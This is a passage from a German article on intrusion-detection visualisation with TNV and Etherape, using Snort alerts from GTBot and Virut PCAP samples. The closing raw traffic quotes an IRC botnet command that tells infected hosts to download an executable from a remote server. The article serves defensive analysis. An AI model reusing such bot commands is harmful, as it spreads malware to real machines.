Intrusion Detection visualisiert
Immer im Bild
TNV
Das plattformunabhängige, java-basierte Visualisierungs-Tool TNV (Time-base Network Visualizer) [9] kann ebenfalls PCAP-Dateien einlesen oder direkt vom Netzwerk-Interface mitschneiden. John Goodall von http://vizsec.org hat TNV im Rahmen seines Studiums programmiert.
Auch TNV findet sich im Davix-Menü »Visualize«
. Die im linken Teil der GUU dargestellten Remote-Hosts lassen sich wie die Matrix der lokalen Hosts auf der rechten Seite umordnen. Listing 5 zeigt die Snort-Alerts, die von »gtbot.pcap«
getriggert werden, die entsprechende Visualisierung ist in Abbildung 5 zu sehen.
Listing 5
gtbot.cap in Snort
[**] [1:100000272:3] COMMUNITY BOT GTBot ver command [**] [Classification: A Network Trojan was detected] [Priority: 1] 10/04-18:25:15.656786 84.244.1.30:5050 -> 192.168.1.1:1101 TCP TTL:64 TOS:0x0 ID:53296 IpLen:20 DgmLen:348 DF ***AP*** Seq: 0xCA5E0BB6 Ack: 0xB97E3616 Win: 0x16D0 TcpLen: 20
TNV lädt PCAP-Files nicht besonders schnell, es ist also etwas Geduld gefragt. Die Nützlichkeit des Ergebnisses bleibt davon jedenfalls unberührt. Der Snort-Alert zeigt die IP-Adresse »84.244.1.30«
und den Port 5050 als Ursprung der Verbindung, »192.168.1.1«
mit Port 1101 als Ziel. Diese Ergebnisse finden sich auch in allen drei TNV-Fenstern wieder: eingehender port-spezifischer Traffic auf der rechten Seite, die Verbindung zwischen »84.244.1.30«
und »192.168.1.1«
in der Mitte, sowie alle Verbindungsdetails.
TNV eignet sich hervorragend dazu, kleine Vergehen in PCAP-Files zu finden. Man darf aber nicht vergessen, den Bereich an IP-Adressen anzugeben, die dort für das lokale Netz stehen.
Etherape
Wer sich in Davix' Visualisierungsmenü umschaut, wird dort auch Etherape [10] finden, das ohne Hilfsmittel PCAP-Files laden kann und wie Rumint sie in Echtzeit wiedergeben kann, während es die Ergebnisse anzeigt.
Das PCAP-Sample »anon_sid_2000345_2003603.pcap«
von http://evilfingers.com führte nach dem Einlesen zu der Snort-Ausgabe in Listing 6. Wie Zeile 1 zeigt, handelt es sich um den Virus W32.Virut.A. Er injiziert Code in laufende Prozesse, öffnet auf Port 65520 eine Backdoor und versucht Verbindungen zu IRC-Servern herzustellen.
Listing 6
Virut.pcap in Snort
[**] [1:2003603:3] ET TROJAN W32.Virut.A joining an IRC Channel [**] [Classification: A Network Trojan was detected] [Priority: 1] 05/30-23:12:53.343816 210.233.108.48:1048 -> 51.93.245.116:65520 TCP TTL:128 TOS:0x0 ID:3686 IpLen:20 DgmLen:67 DF ***AP*** Seq: 0x9A24EA7C Ack: 0x55A62BF6 Win: 0xFFFF TcpLen: 20 [Xref => http://www.emergingthreats.net/cgi-bin/cvsweb.cgi/sigs/VIRUS/TROJAN_Virut] [Xref => http://doc.emergingthreats.net/2003603][Xref => http://www.bitcrank.net]
Die Visualisierung mit Etherape ist in Abbildung 6 zu sehen. Der befallene Rechner hat die Adresse »51.93.245.116«
mit einem geöffneten TCP-Port 65520. Die Rohdaten aus dem PCAP, wie sie auf http://evilfingers.com zu finden sind, bestätigen Snort-Alarm und Grafik:
NICK vouswcmm USER v020501. . :-Service Pack 2 JOIN &virtu :* PRIVMSG vouswcmm :!get http://ygyyqtqeyp. hk/dl/loadadv735.exe PING :i PONG :i JOIN &virtu
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